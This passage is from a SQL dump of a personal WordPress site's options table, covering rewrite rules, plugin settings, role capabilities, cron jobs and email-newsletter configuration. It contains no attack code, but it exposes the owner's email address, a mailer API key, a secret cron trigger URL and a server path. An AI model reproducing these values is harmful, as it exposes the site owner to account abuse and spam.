-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$\";s:50:\"index.php?attachment=$matches[1]&cpage=$matches[2]\";s:64:\"[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/embed/?$\";s:43:\"index.php?attachment=$matches[1]&embed=true\";s:53:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/embed/?$\";s:91:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&embed=true\";s:57:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/trackback/?$\";s:85:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&tb=1\";s:77:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:97:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&feed=$matches[5]\";s:72:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:97:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&feed=$matches[5]\";s:65:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/page/?([0-9]{1,})/?$\";s:98:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&paged=$matches[5]\";s:72:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/comment-page-([0-9]{1,})/?$\";s:98:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&cpage=$matches[5]\";s:61:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)(?:/([0-9]+))?/?$\";s:97:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&page=$matches[5]\";s:47:\"[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/?$\";s:32:\"index.php?attachment=$matches[1]\";s:57:\"[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/trackback/?$\";s:37:\"index.php?attachment=$matches[1]&tb=1\";s:77:\"[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:72:\"[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:72:\"[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$\";s:50:\"index.php?attachment=$matches[1]&cpage=$matches[2]\";s:53:\"[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/embed/?$\";s:43:\"index.php?attachment=$matches[1]&embed=true\";s:64:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/comment-page-([0-9]{1,})/?$\";s:81:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&cpage=$matches[4]\";s:51:\"([0-9]{4})/([0-9]{1,2})/comment-page-([0-9]{1,})/?$\";s:65:\"index.php?year=$matches[1]&monthnum=$matches[2]&cpage=$matches[3]\";s:38:\"([0-9]{4})/comment-page-([0-9]{1,})/?$\";s:44:\"index.php?year=$matches[1]&cpage=$matches[2]\";s:27:\".?.+?/attachment/([^/]+)/?$\";s:32:\"index.php?attachment=$matches[1]\";s:37:\".?.+?/attachment/([^/]+)/trackback/?$\";s:37:\"index.php?attachment=$matches[1]&tb=1\";s:57:\".?.+?/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:52:\".?.+?/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:52:\".?.+?/attachment/([^/]+)/comment-page-([0-9]{1,})/?$\";s:50:\"index.php?attachment=$matches[1]&cpage=$matches[2]\";s:33:\".?.+?/attachment/([^/]+)/embed/?$\";s:43:\"index.php?attachment=$matches[1]&embed=true\";s:16:\"(.?.+?)/embed/?$\";s:41:\"index.php?pagename=$matches[1]&embed=true\";s:20:\"(.?.+?)/trackback/?$\";s:35:\"index.php?pagename=$matches[1]&tb=1\";s:40:\"(.?.+?)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:47:\"index.php?pagename=$matches[1]&feed=$matches[2]\";s:35:\"(.?.+?)/(feed|rdf|rss|rss2|atom)/?$\";s:47:\"index.php?pagename=$matches[1]&feed=$matches[2]\";s:28:\"(.?.+?)/page/?([0-9]{1,})/?$\";s:48:\"index.php?pagename=$matches[1]&paged=$matches[2]\";s:35:\"(.?.+?)/comment-page-([0-9]{1,})/?$\";s:48:\"index.php?pagename=$matches[1]&cpage=$matches[2]\";s:24:\"(.?.+?)(?:/([0-9]+))?/?$\";s:47:\"index.php?pagename=$matches[1]&page=$matches[2]\";}','yes'),
(30,'hack_file','0','yes'),
(31,'blog_charset','UTF-8','yes'),
(32,'moderation_keys','','no'),
(33,'active_plugins','a:4:{i:0;s:66:\"header-footer-code-manager/99robots-header-footer-code-manager.php\";i:1;s:23:\"loginizer/loginizer.php\";i:2;s:20:\"simpletoc/plugin.php\";i:3;s:23:\"wordfence/wordfence.php\";}','yes'),
(34,'category_base','','yes'),
(35,'ping_sites','https://rpc.pingomatic.com/','yes'),
(36,'comment_max_links','2','yes'),
(37,'gmt_offset','0','yes'),
(38,'default_email_category','1','yes'),
(39,'recently_edited','','no'),
(40,'template','twentytwentyone','yes'),
(41,'stylesheet','twentytwentyone','yes'),
(42,'comment_registration','0','yes'),
(43,'html_type','text/html','yes'),
(44,'use_trackback','0','yes'),
(45,'default_role','subscriber','yes'),
(46,'db_version','60717','yes'),
(47,'uploads_use_yearmonth_folders','1','yes'),
(48,'upload_path','','yes'),
(49,'blog_public','1','yes'),
(50,'default_link_category','2','yes'),
(51,'show_on_front','page','yes'),
(52,'tag_base','','yes'),
(53,'show_avatars','1','yes'),
(54,'avatar_rating','G','yes'),
(55,'upload_url_path','','yes'),
(56,'thumbnail_size_w','150','yes'),
(57,'thumbnail_size_h','150','yes'),
(58,'thumbnail_crop','1','yes'),
(59,'medium_size_w','300','yes'),
(60,'medium_size_h','300','yes'),
(61,'avatar_default','mystery','yes'),
(62,'large_size_w','1024','yes'),
(63,'large_size_h','1024','yes'),
(64,'image_default_link_type','none','yes'),
(65,'image_default_size','','yes'),
(66,'image_default_align','','yes'),
(67,'close_comments_for_old_posts','0','yes'),
(68,'close_comments_days_old','14','yes'),
(69,'thread_comments','1','yes'),
(70,'thread_comments_depth','5','yes'),
(71,'page_comments','0','yes'),
(72,'comments_per_page','50','yes'),
(73,'default_comments_page','newest','yes'),
(74,'comment_order','asc','yes'),
(75,'sticky_posts','a:0:{}','yes'),
(76,'widget_categories','a:2:{i:2;a:4:{s:5:\"title\";s:0:\"\";s:5:\"count\";i:0;s:12:\"hierarchical\";i:0;s:8:\"dropdown\";i:0;}s:12:\"_multiwidget\";i:1;}','yes'),
(77,'widget_text','a:2:{i:1;a:0:{}s:12:\"_multiwidget\";i:1;}','yes'),
(78,'widget_rss','a:2:{i:1;a:0:{}s:12:\"_multiwidget\";i:1;}','yes'),
(79,'uninstall_plugins','a:1:{s:23:\"loginizer/loginizer.php\";s:22:\"loginizer_deactivation\";}','no'),
(80,'timezone_string','','yes'),
(81,'page_for_posts','0','yes'),
(82,'page_on_front','27','yes'),
(83,'default_post_format','0','yes'),
(84,'link_manager_enabled','0','yes'),
(85,'finished_splitting_shared_terms','1','yes'),
(86,'site_icon','0','yes'),
(87,'medium_large_size_w','768','yes'),
(88,'medium_large_size_h','0','yes'),
(89,'wp_page_for_privacy_policy','3','yes'),
(90,'show_comments_cookies_opt_in','1','yes'),
(91,'admin_email_lifespan','1799428418','yes'),
(92,'disallowed_keys','','no'),
(93,'comment_previously_approved','1','yes'),
(94,'auto_plugin_theme_update_emails','a:0:{}','no'),
(95,'auto_update_core_dev','enabled','yes'),
(96,'auto_update_core_minor','enabled','yes'),
(97,'auto_update_core_major','enabled','yes'),
(98,'initial_db_version','49752','yes'),
(99,'wp4v_user_roles','a:5:{s:13:\"administrator\";a:2:{s:4:\"name\";s:13:\"Administrator\";s:12:\"capabilities\";a:67:{s:13:\"switch_themes\";b:1;s:11:\"edit_themes\";b:1;s:16:\"activate_plugins\";b:1;s:12:\"edit_plugins\";b:1;s:10:\"edit_users\";b:1;s:10:\"edit_files\";b:1;s:14:\"manage_options\";b:1;s:17:\"moderate_comments\";b:1;s:17:\"manage_categories\";b:1;s:12:\"manage_links\";b:1;s:12:\"upload_files\";b:1;s:6:\"import\";b:1;s:15:\"unfiltered_html\";b:1;s:10:\"edit_posts\";b:1;s:17:\"edit_others_posts\";b:1;s:20:\"edit_published_posts\";b:1;s:13:\"publish_posts\";b:1;s:10:\"edit_pages\";b:1;s:4:\"read\";b:1;s:8:\"level_10\";b:1;s:7:\"level_9\";b:1;s:7:\"level_8\";b:1;s:7:\"level_7\";b:1;s:7:\"level_6\";b:1;s:7:\"level_5\";b:1;s:7:\"level_4\";b:1;s:7:\"level_3\";b:1;s:7:\"level_2\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:17:\"edit_others_pages\";b:1;s:20:\"edit_published_pages\";b:1;s:13:\"publish_pages\";b:1;s:12:\"delete_pages\";b:1;s:19:\"delete_others_pages\";b:1;s:22:\"delete_published_pages\";b:1;s:12:\"delete_posts\";b:1;s:19:\"delete_others_posts\";b:1;s:22:\"delete_published_posts\";b:1;s:20:\"delete_private_posts\";b:1;s:18:\"edit_private_posts\";b:1;s:18:\"read_private_posts\";b:1;s:20:\"delete_private_pages\";b:1;s:18:\"edit_private_pages\";b:1;s:18:\"read_private_pages\";b:1;s:12:\"delete_users\";b:1;s:12:\"create_users\";b:1;s:17:\"unfiltered_upload\";b:1;s:14:\"edit_dashboard\";b:1;s:14:\"update_plugins\";b:1;s:14:\"delete_plugins\";b:1;s:15:\"install_plugins\";b:1;s:13:\"update_themes\";b:1;s:14:\"install_themes\";b:1;s:11:\"update_core\";b:1;s:10:\"list_users\";b:1;s:12:\"remove_users\";b:1;s:13:\"promote_users\";b:1;s:18:\"edit_theme_options\";b:1;s:13:\"delete_themes\";b:1;s:6:\"export\";b:1;s:23:\"wf2fa_activate_2fa_self\";b:1;s:25:\"wf2fa_activate_2fa_others\";b:1;s:26:\"wfls_manage_passkey_others\";b:1;s:21:\"wf2fa_manage_settings\";b:1;s:24:\"wfls_show_login_security\";b:1;s:24:\"wfls_manage_passkey_self\";b:1;}}s:6:\"editor\";a:2:{s:4:\"name\";s:6:\"Editor\";s:12:\"capabilities\";a:37:{s:17:\"moderate_comments\";b:1;s:17:\"manage_categories\";b:1;s:12:\"manage_links\";b:1;s:12:\"upload_files\";b:1;s:15:\"unfiltered_html\";b:1;s:10:\"edit_posts\";b:1;s:17:\"edit_others_posts\";b:1;s:20:\"edit_published_posts\";b:1;s:13:\"publish_posts\";b:1;s:10:\"edit_pages\";b:1;s:4:\"read\";b:1;s:7:\"level_7\";b:1;s:7:\"level_6\";b:1;s:7:\"level_5\";b:1;s:7:\"level_4\";b:1;s:7:\"level_3\";b:1;s:7:\"level_2\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:17:\"edit_others_pages\";b:1;s:20:\"edit_published_pages\";b:1;s:13:\"publish_pages\";b:1;s:12:\"delete_pages\";b:1;s:19:\"delete_others_pages\";b:1;s:22:\"delete_published_pages\";b:1;s:12:\"delete_posts\";b:1;s:19:\"delete_others_posts\";b:1;s:22:\"delete_published_posts\";b:1;s:20:\"delete_private_posts\";b:1;s:18:\"edit_private_posts\";b:1;s:18:\"read_private_posts\";b:1;s:20:\"delete_private_pages\";b:1;s:18:\"edit_private_pages\";b:1;s:18:\"read_private_pages\";b:1;s:24:\"wfls_show_login_security\";b:1;s:23:\"wf2fa_activate_2fa_self\";b:1;s:24:\"wfls_manage_passkey_self\";b:1;}}s:6:\"author\";a:2:{s:4:\"name\";s:6:\"Author\";s:12:\"capabilities\";a:13:{s:12:\"upload_files\";b:1;s:10:\"edit_posts\";b:1;s:20:\"edit_published_posts\";b:1;s:13:\"publish_posts\";b:1;s:4:\"read\";b:1;s:7:\"level_2\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:12:\"delete_posts\";b:1;s:22:\"delete_published_posts\";b:1;s:24:\"wfls_show_login_security\";b:1;s:23:\"wf2fa_activate_2fa_self\";b:1;s:24:\"wfls_manage_passkey_self\";b:1;}}s:11:\"contributor\";a:2:{s:4:\"name\";s:11:\"Contributor\";s:12:\"capabilities\";a:8:{s:10:\"edit_posts\";b:1;s:4:\"read\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:12:\"delete_posts\";b:1;s:24:\"wfls_show_login_security\";b:1;s:23:\"wf2fa_activate_2fa_self\";b:1;s:24:\"wfls_manage_passkey_self\";b:1;}}s:10:\"subscriber\";a:2:{s:4:\"name\";s:10:\"Subscriber\";s:12:\"capabilities\";a:5:{s:4:\"read\";b:1;s:7:\"level_0\";b:1;s:24:\"wfls_show_login_security\";b:1;s:23:\"wf2fa_activate_2fa_self\";b:1;s:24:\"wfls_manage_passkey_self\";b:1;}}}','yes'),
(100,'fresh_site','0','off'),
(101,'widget_search','a:2:{i:2;a:1:{s:5:\"title\";s:0:\"\";}s:12:\"_multiwidget\";i:1;}','yes'),
(102,'widget_recent-posts','a:2:{i:2;a:2:{s:5:\"title\";s:0:\"\";s:6:\"number\";i:5;}s:12:\"_multiwidget\";i:1;}','yes'),
(103,'widget_recent-comments','a:2:{i:2;a:2:{s:5:\"title\";s:0:\"\";s:6:\"number\";i:5;}s:12:\"_multiwidget\";i:1;}','yes'),
(104,'widget_archives','a:2:{i:2;a:3:{s:5:\"title\";s:0:\"\";s:5:\"count\";i:0;s:8:\"dropdown\";i:0;}s:12:\"_multiwidget\";i:1;}','yes'),
(105,'widget_meta','a:2:{i:2;a:1:{s:5:\"title\";s:0:\"\";}s:12:\"_multiwidget\";i:1;}','yes'),
(106,'sidebars_widgets','a:3:{s:19:\"wp_inactive_widgets\";a:0:{}s:9:\"sidebar-1\";a:6:{i:0;s:8:\"search-2\";i:1;s:14:\"recent-posts-2\";i:2;s:17:\"recent-comments-2\";i:3;s:10:\"archives-2\";i:4;s:12:\"categories-2\";i:5;s:6:\"meta-2\";}s:13:\"array_version\";i:3;}','yes'),
(107,'cron','a:16:{i:1789398714;a:1:{s:21:\"wordfence_ls_ntp_cron\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"hourly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:3600;}}}i:1789398761;a:1:{s:21:\"wordfence_hourly_cron\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"hourly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:3600;}}}i:1789399042;a:1:{s:34:\"wp_privacy_delete_old_export_files\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"hourly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:3600;}}}i:1789401600;a:1:{s:31:\"wordfence_email_activity_report\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:2:{s:8:\"schedule\";b:0;s:4:\"args\";a:0:{}}}}i:1789411351;a:2:{s:19:\"wp_scheduled_delete\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:5:\"daily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:86400;}}s:25:\"delete_expired_transients\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:5:\"daily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:86400;}}}i:1789411352;a:1:{s:30:\"wp_scheduled_auto_draft_delete\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:5:\"daily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:86400;}}}i:1789423961;a:1:{s:20:\"wordfence_daily_cron\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:5:\"daily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:86400;}}}i:1789439513;a:1:{s:21:\"wp_update_user_counts\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:10:\"twicedaily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}}i:1789440914;a:2:{s:17:\"wp_update_plugins\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:10:\"twicedaily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}s:16:\"wp_update_themes\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:10:\"twicedaily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}}i:1789473728;a:1:{s:41:\"wp_privacy_personal_data_cleanup_requests\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:5:\"daily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:86400;}}}i:1789484114;a:1:{s:32:\"recovery_mode_clean_expired_keys\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:5:\"daily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:86400;}}}i:1789515931;a:1:{s:30:\"wp_delete_temp_updater_backups\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"weekly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:604800;}}}i:1789543628;a:1:{s:16:\"wp_version_check\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:10:\"twicedaily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}}i:1789570254;a:1:{s:30:\"wordfence_start_scheduled_scan\";a:1:{s:32:\"6452972fb9b309d9b06aa562387c8131\";a:2:{s:8:\"schedule\";b:0;s:4:\"args\";a:1:{i:0;i:1789570254;}}}}i:1789829714;a:1:{s:30:\"wp_site_health_scheduled_check\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"weekly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:604800;}}}s:7:\"version\";i:2;}','on'),
(108,'widget_pages','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),
(109,'widget_calendar','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),
(110,'widget_media_audio','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),
(111,'widget_media_image','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),
(112,'widget_media_gallery','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),
(113,'widget_media_video','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),
(114,'widget_tag_cloud','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),
(115,'widget_nav_menu','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),
(116,'widget_custom_html','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),
(118,'recovery_keys','a:0:{}','off'),
(119,'theme_mods_twentytwentyone','a:2:{s:18:\"custom_css_post_id\";i:-1;s:18:\"nav_menu_locations\";a:1:{s:7:\"primary\";i:2;}}','yes'),
(120,'loginizer_version','2.1.0','yes'),
(121,'loginizer_options','a:0:{}','yes'),
(122,'loginizer_last_reset','1789473728','yes'),
(123,'loginizer_whitelist','a:0:{}','yes'),
(124,'loginizer_blacklist','a:0:{}','yes'),
(125,'loginizer_2fa_whitelist','a:0:{}','yes'),
(126,'loginizer_ins_time','1614957442','yes'),
(127,'loginizer_promo_time','1614957442','yes'),
(156,'category_children','a:0:{}','yes'),
(167,'_transient_health-check-site-status-result','{\"good\":\"21\",\"recommended\":\"4\",\"critical\":\"1\"}','yes'),
(191,'finished_updating_comment_type','1','yes'),
(217,'nav_menu_options','a:2:{i:0;b:0;s:8:\"auto_add\";a:0:{}}','off'),
(318,'auto_core_update_notified','a:4:{s:4:\"type\";s:7:\"success\";s:5:\"email\";s:20:\"klevertree@gmail.com\";s:7:\"version\";s:5:\"6.9.7\";s:9:\"timestamp\";i:1786549188;}','off'),
(320,'https_detection_errors','a:0:{}','off'),
(1629,'recently_activated','a:0:{}','off'),
(2349,'hfcm_activation_date','1755120364','yes'),
(2350,'hfcm_db_version','1.6','yes'),
(4782,'widget_block','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),
(4843,'wp_force_deactivated_plugins','a:0:{}','off'),
(7661,'action_scheduler_hybrid_store_demarkation','209','yes'),
(7662,'schema-ActionScheduler_StoreSchema','3.0.1633621660','yes'),
(7663,'schema-ActionScheduler_LoggerSchema','2.0.1633621660','yes'),
(7666,'ig_es_from_name','Trevor Klee','no'),
(7667,'ig_es_from_email','klevertree@gmail.com','no'),
(7668,'ig_es_admin_new_contact_email_subject','One more contact joins our tribe!','no'),
(7669,'ig_es_admin_new_contact_email_content','Hi,\r\n\r\nYour friendly Email Subscribers notification bot here!\r\n\r\n{{NAME}} ({{EMAIL}}) joined our tribe just now.\r\n\r\nWhich list/s? {{LIST}}\r\n\r\nIf you know this person, or if they are an influencer, you may want to reach out to them personally!\r\n\r\nLater...','no'),
(7670,'ig_es_admin_emails','klevertree@gmail.com','no'),
(7671,'ig_es_confirmation_mail_subject','Thanks!','no'),
(7672,'ig_es_confirmation_mail_content','Hi {{NAME}},\r\n\r\nJust one more step before we share the awesomeness from {{SITENAME}}!\r\n\r\nPlease confirm your subscription by clicking on <a href=\'{{SUBSCRIBE-LINK}}\'>this link</a>\r\n\r\nThanks!','no'),
(7673,'ig_es_enable_welcome_email','yes','no'),
(7674,'ig_es_welcome_email_subject','Welcome to {{SITENAME}}','no'),
(7675,'ig_es_welcome_email_content','Hi {{NAME}},\r\n\r\nThanks for signing up for the email list. Can\'t wait to send you some high quality updates on an every-once-in-a-while basis.\r\n\r\nBest,\r\nTrevor','no'),
(7676,'ig_es_enable_cron_admin_email','yes','no'),
(7677,'ig_es_enable_summary_automation','yes','no'),
(7678,'ig_es_run_cron_on','monday','no'),
(7679,'ig_es_run_cron_time','4pm','no'),
(7680,'ig_es_cron_admin_email','Hi Admin,\r\n\r\nCron URL has been triggered successfully on {{DATE}} for the email \'{{SUBJECT}}\'. And it sent email to {{COUNT}} recipient(s).\r\n\r\nBest,\r\nTrevor Klee','no'),
(7681,'ig_es_cronurl','https://trevorklee.com?es=cron&guid=uironm-cavkzf-utgwcd-tfomgp-thrcms','no'),
(7682,'ig_es_hourly_email_send_limit','300','no'),
(7683,'ig_es_sent_report_subject','Your email has been sent','no'),
(7684,'ig_es_sent_report_content','Hi Admin,\n\nEmail has been sent successfully to {{COUNT}} email(s). Please find the details below:\n\nUnique ID: {{UNIQUE}}\nStart Time: {{STARTTIME}}\nEnd Time: {{ENDTIME}}\nFor more information, login to your dashboard and go to Reports menu in Email Subscribers.\n\nThank You.','no'),
(7685,'ig_es_unsubscribe_link','https://trevorklee.com/?es=unsubscribe&db={{DBID}}&email={{EMAIL}}&guid={{GUID}}','no'),
(7686,'ig_es_optin_link','https://trevorklee.com/?es=optin&db={{DBID}}&email={{EMAIL}}&guid={{GUID}}','no'),
(7687,'ig_es_unsubscribe_link_content','I\'d be sad to see you go. But if you want to, you can unsubscribe from <a href=\'{{UNSUBSCRIBE-LINK}}\'>here</a>','no'),
(7688,'ig_es_email_type','wp_html_mail','no'),
(7689,'ig_es_notify_admin','yes','no'),
(7690,'ig_es_optin_type','single_opt_in','no'),
(7691,'ig_es_subscription_error_messsage','Hmm.. Something\'s amiss..\r\n\r\nCould not complete your request. That email address  is probably already subscribed. Or worse blocked!!\r\n\r\nPlease try again after some time - or contact us if the problem persists.\r\n\r\n','no'),
(7692,'ig_es_subscription_success_message','You have been successfully subscribed.','no'),
(7693,'ig_es_unsubscribe_error_message','Urrgh.. Something\'s wrong..\r\n\r\nAre you sure that email address is on our file? There was some problem in completing your request.\r\n\r\nPlease try again after some time - or contact us if the problem persists.\r\n\r\n','no'),
(7694,'ig_es_unsubscribe_success_message','<p>You will no longer hear from us. ☹️ Sorry to see you go!</p>','no'),
(7695,'ig_es_post_image_size','thumbnail','no'),
(7696,'ig_es_db_version','4.8.4','no'),
(7697,'ig_es_current_version_date_details','','no'),
(7698,'ig_es_enable_captcha','','no'),
(7699,'ig_es_roles_and_capabilities','','no'),
(7700,'ig_es_sample_data_imported','no','no'),
(7701,'ig_es_default_subscriber_imported','no','no'),
(7702,'ig_es_set_widget','','no'),
(7703,'ig_es_sync_wp_users','a:0:{}','no'),
(7704,'ig_es_blocked_domains','mail.ru','no'),
(7705,'ig_es_disable_wp_cron','no','no'),
(7706,'ig_es_track_email_opens','yes','no'),
(7707,'ig_es_show_opt_in_consent','yes','no'),
(7708,'ig_es_opt_in_consent_text','Subscribe to our email updates as well.','no'),
(7709,'ig_es_installed_on','2021-10-07 15:47:41','no'),
(7710,'ig_es_form_submission_success_message','Your subscription was successful! Kindly check your mailbox and confirm your subscription. If you don\'t see the email within a few minutes, check the spam/junk folder.','no'),
(7711,'ig_es_db_update_history','a:1:{s:5:\"4.8.4\";s:19:\"2021-10-07 15:47:41\";}','no'),
(7712,'ig_es_email_sent_data','a:1:{s:10:\"2021-10-07\";a:1:{i:15;i:5;}}','no'),
(7713,'ig_es_mailer_settings','a:2:{s:6:\"mailer\";s:6:\"wpmail\";s:8:\"pepipost\";a:1:{s:7:\"api_key\";s:8:\"bobdole1\";}}','no'),
(7714,'ig_es_user_roles','a:6:{s:9:\"campaigns\";a:1:{s:13:\"administrator\";s:3:\"yes\";}s:7:\"reports\";a:1:{s:13:\"administrator\";s:3:\"yes\";}s:9:\"sequences\";a:1:{s:13:\"administrator\";s:3:\"yes\";}s:8:\"audience\";a:1:{s:13:\"administrator\";s:3:\"yes\";}s:5:\"forms\";a:1:{s:13:\"administrator\";s:3:\"yes\";}s:9:\"workflows\";a:1:{s:13:\"administrator\";s:3:\"yes\";}}','no'),
(7715,'ig_es_cron_interval','900','no'),
(7716,'ig_es_max_email_send_at_once','30','no'),
(7717,'ig_es_test_mailbox_user','be261_klevertree_trevorklee.com','no'),
(7718,'ig_es_templates_loaded_for','lite','yes'),
(7720,'action_scheduler_lock_async-request-runner','1633622028','yes'),
(7721,'ig_es_admin_notices','a:1:{i:0;s:15:\"bfcm_offer_2020\";}','yes'),
(7722,'widget_email-subscribers-form','a:2:{s:12:\"_multiwidget\";i:1;i:1;a:1:{s:7:\"form_id\";i:1;}}','yes'),
(7727,'ig_es_cron_last_hit','a:1:{s:9:\"timestamp\";i:1633621902;}','yes'),
(7729,'ig_es_is_trial','yes','no'),
(7730,'ig_es_trial_started_at','1633621764','no'),
(7731,'ig_es_allow_tracking','no','yes'),
(7737,'ig_es_onboarding_test_campaign_success','yes','yes'),
(7746,'ig_es_onboarding_complete','yes','yes'),
(7747,'ig_es_custom_admin_notice_bfcm_offer_2020','a:2:{s:3:\"url\";s:24:\"https://www.icegram.com/\";s:7:\"include\";s:115:\"/home/trevorkl/trevorklee.com/wp-content/plugins/email-subscribers/lite/includes/notices/views/ig-es-bfcm-offer.php\";}','yes'),
(7751,'ig_es_coupons','a:1:{s:9:\"PREMIUM10\";a:2:{s:15:\"last_shown_time\";i:1633621990;s:5:\"count\";i:12;}}','yes'),
(7754,'ig_es_powered_by','yes','no'),
(7755,'ig_es_cron_admin_email_subject','Campaign Sent!','no'),
(7756,'ig_es_delete_plugin_data','no','no'),
(7763,'ig_es_last_cron_run','1633621902','yes'),
(7768,'ig_es_feedback_data','a:1:{s:26:\"esfree.plugin.deactivation\";a:1:{i:0;a:5:{s:4:\"type\";s:5:\"radio\";s:5:\"title\";s:43:\"Why are you deactivating Email Subscribers?\";s:4:\"slug\";s:42:\"why-are-you-deactivating-email-subscribers\";s:5:\"value\";s:34:\"i-could-not-get-the-plugin-to-work\";s:10:\"created_on\";s:19:\"2021-10-07 15:53:24\";}}}','yes'),
(11909,'db_upgraded','','on'),
(89668,'_transient_global_styles_svg_filters_twentytwentyone','<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 0 0\" width=\"0\" height=\"0\" focusable=\"false\" role=\"none\" style=\"visibility: hidden; position: absolute; left: -9999px; overflow: hidden;\" ><defs><filter id=\"wp-duotone-dark-grayscale\"><feColorMatrix color-interpolation-filters=\"sRGB\" type=\"matrix\" values=\" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 \" /><feComponentTransfer color-interpolation-filters=\"sRGB\" ><feFuncR type=\"table\" tableValues=\"0 0.49803921568627\" /><feFuncG type=\"table\" tableValues=\"0 0.49803921568627\" /><feFuncB type=\"table\" tableValues=\"0 0.49803921568627\" /><feFuncA type=\"table\" tableValues=\"1 1\" /></feComponentTransfer><feComposite in2=\"SourceGraphic\" operator=\"in\" /></filter></defs></svg><svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 0 0\" width=\"0\" height=\"0\" focusable=\"false\" role=\"none\" style=\"visibility: hidden; position: absolute; left: -9999px; overflow: 